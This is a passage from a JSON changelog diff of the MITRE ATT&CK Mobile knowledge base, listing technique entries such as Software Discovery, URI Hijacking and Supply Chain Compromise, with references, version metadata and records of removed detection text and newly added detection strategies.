Retrieved August 8, 2019.", + "url": "https://developer.android.com/reference/android/media/projection/MediaProjectionManager" + }, + { + "source_name": "Lookout-Monokle", + "description": "Bauer A., Kumar A., Hebeisen C., et al. (2019, July). Monokle: The Mobile Surveillance Tooling of the Special Technology Center. Retrieved September 4, 2019.", + "url": "https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf" + }, + { + "source_name": "Fortinet screencap July 2019", + "description": "Dario Durando. (2019, July 3). BianLian: A New Wave Emerges. Retrieved September 4, 2019.", + "url": "https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html" + }, + { + "source_name": "Trend Micro ScreenCap July 2015", + "description": "Zhang, V. (2015, July 21). Hacking Team RCSAndroid Spying Tool Listens to Calls; Roots Devices to Get In. Retrieved August 8, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-40.html", + "external_id": "APP-40" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.610000+00:00\", \"old_value\": \"2025-04-16 21:21:50.988000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The user can view a list of apps with accessibility service privileges in the device settings. Application vetting services can look for the use of the Android `MediaProjectionManager` class, applying extra scrutiny to applications that use the class.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance", + "M1012: Enterprise Policy", + "M1013: Application Developer Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0668: Detection of Screen Capture" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:28.067000+00:00", + "modified": "2025-10-24 17:48:27.789000+00:00", + "name": "Software Discovery", + "description": "Adversaries may attempt to get a listing of applications that are installed on a device. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1418) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempts specific actions. \n\n \n\nAdversaries may attempt to enumerate applications for a variety of reasons, such as figuring out what security measures are present or to identify the presence of target applications. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1418", + "external_id": "T1418" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html", + "external_id": "APP-12" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.789000+00:00\", \"old_value\": \"2025-04-16 21:21:45.152000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0600: Detection of Software Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1d44f529-6fe6-489f-8a01-6261ac43f05e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-31 19:50:45.752000+00:00", + "modified": "2025-10-24 17:48:29.485000+00:00", + "name": "Security Software Discovery", + "description": "Adversaries may attempt to get a listing of security applications and configurations that are installed on a device. This may include things such as mobile security products. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1418/001) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempt specific actions. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1418/001", + "external_id": "T1418.001" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html", + "external_id": "APP-12" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.485000+00:00\", \"old_value\": \"2025-04-16 21:21:45.687000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0680: Detection of Security Software Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--233fe2c0-cb41-4765-b454-e0087597fbce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 15:12:50.740000+00:00", + "modified": "2025-10-24 17:48:31.876000+00:00", + "name": "Steal Application Access Token", + "description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering or URI hijacking and typically requires user action to grant access, such as through a system \u201cOpen With\u201d dialogue. \n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework used to issue tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry through OAuth 2.0 using a variety of authorization protocols. An example of a commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested without requiring user credentials.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1635", + "external_id": "T1635" + }, + { + "source_name": "Android-AppLinks", + "description": "Android. (n.d.). Handling App Links. Retrieved December 21, 2016.", + "url": "https://developer.android.com/training/app-links/index.html" + }, + { + "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", + "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", + "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/" + }, + { + "source_name": "Microsoft - OAuth Code Authorization flow - June 2019", + "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow" + }, + { + "source_name": "Microsoft Identity Platform Protocols May 2019", + "description": "Microsoft. (n.d.). Retrieved September 12, 2019.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols" + }, + { + "source_name": "IETF-OAuthNativeApps", + "description": "W. Denniss and J. Bradley. (2017, October). IETF RFC 8252: OAuth 2.0 for Native Apps. Retrieved November 30, 2018.", + "url": "https://tools.ietf.org/html/rfc8252" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.876000+00:00\", \"old_value\": \"2023-12-26 19:17:13.294000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it. When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance", + "M1013: Application Developer Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)", + "DS0042: User Interface (System Notifications)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0656: Detection of Steal Application Access Token" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--789ef15a-34d9-4b32-a779-8cbbc9eb32f5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 15:15:35.640000+00:00", + "modified": "2025-10-24 17:48:59.057000+00:00", + "name": "URI Hijacking", + "description": "Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data. \n\nApplications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If an adversary were to register for a URI that was already in use by a genuine application, the adversary may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the adversary to gain access to protected resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1635/001", + "external_id": "T1635.001" + }, + { + "source_name": "Android-AppLinks", + "description": "Android. (n.d.). Handling App Links. Retrieved December 21, 2016.", + "url": "https://developer.android.com/training/app-links/index.html" + }, + { + "source_name": "Trend Micro iOS URL Hijacking", + "description": "L. Wu, Y. Zhou, M. Li. (2019, July 12). iOS URL Scheme Susceptible to Hijacking. Retrieved September 11, 2020.", + "url": "https://web.archive.org/web/20211023221110/https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/" + }, + { + "source_name": "IETF-PKCE", + "description": "N. Sakimura, J. Bradley, and N. Agarwal. (2015, September). IETF RFC 7636: Proof Key for Code Exchange by OAuth Public Clients. Retrieved December 21, 2016.", + "url": "https://tools.ietf.org/html/rfc7636" + }, + { + "source_name": "IETF-OAuthNativeApps", + "description": "W. Denniss and J. Bradley. (2017, October). IETF RFC 8252: OAuth 2.0 for Native Apps. Retrieved November 30, 2018.", + "url": "https://tools.ietf.org/html/rfc8252" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Leo Zhang, Trend Micro", + "Steven Du, Trend Micro" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.057000+00:00\", \"old_value\": \"2025-04-16 21:21:51.304000+00:00\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://web.archive.org/web/20211023221110/https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/\", \"old_value\": \"https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it. When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance", + "M1013: Application Developer Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)", + "DS0042: User Interface (System Notifications)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0626: Detection of URI Hijacking" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:15.402000+00:00", + "modified": "2025-10-24 17:48:56.509000+00:00", + "name": "Stored Application Data", + "description": "Adversaries may try to access and collect application data resident on the device. Adversaries often target popular applications, such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019) \n\n \n\nDue to mobile OS sandboxing, this technique is only possible in three scenarios: \n\n \n\n* An application stores files in unprotected external storage \n* An application stores files in its internal storage directory with insecure permissions (e.g. 777) \n* The adversary gains root permissions on the device ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1409", + "external_id": "T1409" + }, + { + "source_name": "SWB Exodus March 2019", + "description": "Security Without Borders. (2019, March 29). Exodus: New Android Spyware Made in Italy. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html", + "external_id": "AUT-0" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "3.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.509000+00:00\", \"old_value\": \"2024-11-17 18:31:54.805000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could detect when applications store data insecurely, for example, in unprotected external storage.\"}}}", + "previous_version": "3.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0621: Detection of Stored Application Data" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--79cb02f4-ac4e-4335-8b51-425c9573cce1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 18:05:46.795000+00:00", + "modified": "2025-10-24 17:48:59.522000+00:00", + "name": "Subvert Trust Controls", + "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted applications. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site. The method adversaries use will depend on the specific mechanism they seek to subvert. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1632", + "external_id": "T1632" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html", + "external_id": "STA-7" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.522000+00:00\", \"old_value\": \"2025-04-16 21:21:51.458000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications. \\n\\nOn iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications. \\n-\\n-On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance", + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0657: Detection of Subvert Trust Controls" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 18:13:26.003000+00:00", + "modified": "2025-10-24 17:49:39.422000+00:00", + "name": "Code Signing Policy Modification", + "description": "Adversaries may modify code signing policies to enable execution of applications signed with unofficial or unknown keys. Code signing provides a level of authenticity on an app from a developer, guaranteeing that the program has not been tampered with and comes from an official source. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on a device. \n\nMobile devices generally enable these security controls by default, such as preventing the installation of unknown applications on Android. Adversaries may modify these policies in a number of ways, including [Input Injection](https://attack.mitre.org/techniques/T1516) or malicious configuration profiles.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1632/001", + "external_id": "T1632.001" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html", + "external_id": "STA-7" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.422000+00:00\", \"old_value\": \"2025-04-16 21:21:59.231000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.\\n\\nOn iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications.\\n-\\n-On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance", + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0619: Detection of Code Signing Policy Modification" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0d95940f-9583-4e0f-824c-a42c1be47fad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2025-10-24 17:48:23.643000+00:00", + "name": "Supply Chain Compromise", + "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency, specifically with the widespread usage of third-party advertising libraries.(Citation: Grace-Advertisement)(Citation: NowSecure-RemoteCode)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1474", + "external_id": "T1474" + }, + { + "source_name": "Grace-Advertisement", + "description": "M. Grace et al. (2012, April 16-18). Unsafe exposure analysis of mobile in-app advertisements. Retrieved November 17, 2024.", + "url": "https://dl.acm.org/doi/10.1145/2185448.2185464" + }, + { + "source_name": "NowSecure-RemoteCode", + "description": "Ryan Welton. (2015, June 15). A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications. Retrieved December 22, 2016.", + "url": "https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html", + "external_id": "APP-6" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html", + "external_id": "SPC-0" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html", + "external_id": "SPC-1" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html", + "external_id": "SPC-2" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html", + "external_id": "SPC-3" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html", + "external_id": "SPC-4" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html", + "external_id": "SPC-5" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html", + "external_id": "SPC-6" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html", + "external_id": "SPC-7" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html", + "external_id": "SPC-8" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html", + "external_id": "SPC-9" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html", + "external_id": "SPC-10" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html", + "external_id": "SPC-11" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html", + "external_id": "SPC-12" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html", + "external_id": "SPC-13" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-14.html", + "external_id": "SPC-14" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": 